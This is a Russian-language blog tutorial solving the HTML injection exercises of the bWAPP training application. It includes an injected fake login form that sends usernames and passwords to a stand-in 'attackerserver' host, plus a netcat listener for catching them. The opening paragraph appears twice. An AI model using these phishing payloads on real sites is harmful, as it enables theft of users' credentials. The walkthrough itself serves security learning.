HTML/CSS инъекция в веб-приложениях
В данной статье я решил собрать примеры эксплуатации HTML/CSS инъекций на примере одной из площадок по тестированию веб-приложений. Buggy web application (bWAPP) -
это open source веб-приложение, свободное для скачивания. Я надеюсь, что наткнувшись на эту статью вас заинтересует тема информационной безопасности (ИБ) или она станет просто хорошей шпаргалкой для решения похожих задач. Если возникают вопросы, я буду рад ответить на него в комментариях.
Сегодня мы рассмотрим четыре уязвимости с раздела A1-Injection:
/HTML Injection - Reflected (GET)/
/HTML Injection - Reflected (POST)/
/HTLM Injection - Reflected (URL)/
это open source веб-приложение, свободное для скачивания. Я надеюсь, что наткнувшись на эту статью вас заинтересует тема информационной безопасности (ИБ) или она станет просто хорошей шпаргалкой для решения похожих задач. Если возникают вопросы, я буду рад ответить на него в комментариях.
Сегодня мы рассмотрим четыре уязвимости с раздела A1-Injection:
/HTML Injection - Reflected (GET)/
/HTML Injection - Reflected (POST)/
/HTLM Injection - Reflected (URL)/
Теория возникновения уязвимости
Для знающих можно сразу пролистать. HTML/CSS инъекция становится возможной из-за некорректной проверки данных, которые вводит обычный пользователь. Веб-разработчик иногда не предполагает что пользователь введет в поле имя <h1>Боб</h1> вместо Боб, но результат будет кардинально отличаться. Эта уязвимость позволяет сильно испортить ресурс или полностью изменить его... Примеры такого кода.
<?php $name = $_REQUEST ['name']; ?> <html> <h1>Welcome to the Internet!</h1> <br> <body> Hello, <?php echo $name; ?>! <p>We are so glad you are here!</p> </body> </html>
HTML Injection - Reflected (GET)
С названия сразу понятно, что для уязвимости будет использоваться метод передачи параметров в URL. После входа на страницу мы можем наблюдать поля для ввода.
После ввода тестовых данных наша адресная строка имеет вид:
htmli_get.php?firstname=test&lastname=test&form=submit
Из нее мы видим, что передаются два параметра firstname и lastname и видим на экране обычный результат:
Теперь попробуем добавить HTML теги в нашу адресную строку:
htmli_get.php?firstname=<h1>test</h1>&lastname=<h2>test</h2>&form=submit
Мы добавили два тега заголовка <h1> и <h2> и результат вывода на экран показывает, что данная страница уязвима к HTML инъекции:
Дальше страница полностью в нашем распоряжение и мы можем делать все, что вздумается, к примеру, использовать такой HTML код, просто введя его в поле firstname :
<h3>Please Enter Your Username and Password to Proceed:</h3>
<form method="POST" action="http://attackerserver/login.php">
Username: <input type="text" name="username" /><br />
Password: <input type="password" name="password" /><br />
<input type="submit" value="Login" /></form><!--
Результатом такой инъекции является полная замена страницы на поле авторизации и все введенные данные будут отправлены вам.
HTML Injection - Reflected (POST)
Отличие между этой и предыдущей инъекцией небольшое, а точнее только в способе передачи параметров. В POST запросе параметры передаются внутри пакета и для его просмотра можно использовать Burp Suite:
Дальнейшая методика инъекции полностью совпадает с предыдущим примером, но все параметры заменяются не в URL страницы, а в теле POST пакета.
HTML Injection - Reflected (URL)
Своеобразная уязвимость, основанная на работе самого сервера. На странице работает js, который считывает текущий URL пользователя и выводит его на страницу. Хорошее описание можно найти на страницу по DOM-XSS http://www.acunetix.com/blog/articles/dom-xss-explained/
Для ее эксплуатации нужно всего лишь добавить необходимые значения после адреса текущей страницы:
htmli_current_url.php#<h1>XSS DOM</h1>
htmli_current_url.php?<h1>XSS DOM</h1>
HTML Injection - Stored
Данный пример основан на всех предыдущих и необходим для наглядной эксплуатации HTML Injeaction. При входе на страницу мы видим возможность публиковать сообщения (они сохраняются в базе данных и выводятся всем, кто посетил эту страницу).
Есть несколько способов поэксплуатировать страницу:
- Отправить тег открытия комментария <!-- , что позволит полностью остановить работу т.к. новые данные будут восприниматься как комментарий к коду.
- Выделять свои сообщения с помощью специальных тегов <b><h1-3><i><img> и др.
- Полностью заменить страницу и перенаправить вводимые данные к себе.
К примеру, рассмотрим третий пункт. Для начала нам нужно поставить прослушивание порта на своем компьютере. Для ОС Linux используется такая команда, как nc -vlp 80. Дальше вставляем текст, который заменит исходную страницу на нужную нам.
Осталась самая скучная и долгая часть - ждать, когда кто-то введет свои данные на странице и нажмет отправить...
На этом все. Данные примеры могут использоваться когда отсутствуют какая либо защита на веб-сервере. В дальнейших статьях будут разобраны примеры с обходом фильтраций WAFов и других мер защиты.
круто!!! а где ещё публикации??
ОтветитьУдалить<--
ОтветитьУдалитьПопробовать стоило
ОтветитьУдалитьXD
УдалитьЭтот комментарий был удален автором.
ОтветитьУдалить